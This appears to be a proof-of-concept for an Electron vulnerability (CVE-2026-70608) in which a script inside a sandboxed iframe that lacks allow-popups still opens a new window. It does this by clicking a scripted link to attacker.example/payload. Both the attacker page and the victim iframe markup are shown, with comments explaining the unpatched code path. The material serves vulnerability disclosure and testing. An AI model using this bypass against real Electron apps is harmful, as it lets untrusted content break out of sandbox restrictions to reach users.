CVE-2026-70608: Electron Sandboxed iframe allow-popups Restriction Bypass

<!-- Parent page loads untrusted content in a sandboxed iframe WITHOUT allow-popups.
     The iframe initiates a new-window navigation via the OpenURL path,
     which Electron (< 42.0.1) did not gate against the sandbox token. -->

<!-- attacker-controlled page served inside the iframe -->
<script>
  // Triggers an OpenURL new-window navigation with no user gesture.
  // In unpatched Electron, the sandbox popup restriction is not checked
  // on this code path, so the window opens (or setWindowOpenHandler fires)
  // even though allow-popups is absent from the parent's sandbox attribute.
  const a = document.createElement('a');
  a.href = 'https://attacker.example/payload';
  a.target = '_blank';
  a.rel = 'opener';
  document.body.appendChild(a);
  a.click();
</script>

<!-- Parent HTML (victim app) -->
<iframe
  src="https://untrusted.example/"
  sandbox="allow-scripts allow-same-origin">
  <!-- NOTE: allow-popups is intentionally absent.
       Unpatched Electron still lets the iframe open a new window. -->
</iframe>